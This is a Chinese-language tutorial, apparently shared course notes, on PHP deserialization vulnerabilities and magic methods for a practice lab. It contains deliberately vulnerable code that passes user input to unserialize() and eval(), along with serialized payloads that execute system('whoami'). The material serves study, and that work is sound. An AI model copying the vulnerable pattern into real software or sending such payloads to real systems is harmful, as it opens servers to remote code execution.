Web渗透—PHP反序列化 课程学习分享（课程非本人制作，仅提供学习分享）
靶场下载地址：GitHub - mcc0624/php_ser_Class: php反序列化靶场课程，基于课程制作的靶场
课程地址：PHP反序列化漏洞学习_哔哩哔_bilibili
五、反序列化漏洞
1）反序列化之后的内容为一个对象
2）反序列化生成的对象里的值，由反序列化里的值提供；与原有类预定义的值无关；
反序列化漏洞的成因：反序列化过程中，unserialize()接收到的值（字符串）可控；
通过更改这个值（字符串），得到所需要的代码，即生成的对象的属性值。
3）反序列化不改变类的成员方法；需要调用方法后才能触发；
通过调用方法，触发代码执行
1.例题代码
<?php
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"]; //benben为对象序列化后的字符串
$b = unserialize($get); //$b把字符串$get反序列化为对象，通过更改字符串可改变得到的对象中$a的值
$b->displayVar(); //通过调用方法触发可控代码
?>2.解题代码
<?php
class test{
public $a = "system('whoami');";
}
echo serialize(new test);
?>输出结果：
O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}
回显结果：
调用displayVar()，displayVar()执行eval()，eval()触发代码
六、魔术方法简介
1.什么是魔术方法
一个预定好的，在特定情况下自动触发的行为方法。
2.魔术方法的作用
反序列化漏洞的成因：
反序列化过程中，unserialize()接收的值（字符串）可控；通过更改这个值（字符串），得到所需要的代码；通过调用方法，触发代码执行。
魔术方法在特定条件下自动调用相关方法，最终导致触发代码。
3.魔术方法相关机制
触发时机 ——> 功能 ——> 参数 ——> 返回值
触发时机：动作不同，触发的魔术方法也不同
参数：一些特殊魔术方法会传参
1）__construct()，类的构建函数
2）__destruct()，类的析构函数
3）__call()，在对象中调用一个不可用访问方法时调用
4）__callStatic()，用静态方式中调用一个不可用访问方法时调用
5）__get()，获得一个类的成员变量时调用
6）__isset()，当不可访问属性调用isset()或empty()时调用
7）__set()，设置一个类的成员变量时调用
8）__unset()，当对不可访问属性调用unset()时被调用
9）__sleep()，执行serialize()时，先会调用这个函数
10）__wakeup()，执行unserizlize()时，先会调用这个函数
11）__toString()，类被当成字符串时的回应方法
12）__invoke()，调用函数的方法调用一个对象时的回应方法
13）__ser_state()，调用var_export()导出类时，此静态方法被调用
14）__clone()，当对象复制完成时调用
15）__autoload()，尝试加载未定义的类
16）__debugInfo()，打印所需调试信息
4.__construct()
构造函数，在实例化一个对象的时候，首先会自动执行一个方法；
<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben"); //实例化对象时触发构造函数__construct()
$ser = serialize($test); //在序列化和反序列化过程中不会触发
unserialize($ser);
?>触发时机：实例化对象
功能：提前清理不必要内容
参数：非必要
返回值：（无）
5. __destruct()
析构函数，在对象的所有引用被删除或当对象被显式销毁时执行的魔术方法；
<?php
class User {
public function __destruct(){
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben"); //实例化对象结束后，代码运行完全会销毁，触发析构函数__destruct()
$ser = serialize($test); //在序列化过程中不会被触发
unserialize($ser); //在反序列化过程中会被触发
?>反序列化得到的是对象，用完后会被销毁，触发析构函数__destruct()
触发时机：对象引用完成，或对象被销毁
功能：（无）
参数：（无）
返回值：（无）
6.析构函数例题
<?php
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);
?>反序列化会触发__destruct()
7. 解题代码
<?php
class User {
var $cmd = "system('whoami');" ;
}
echo serialize(new User);
?>输出结果：
O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}
回显结果：
unserialize()触发__destruct()，destruct执行eval()，eval()触发代码
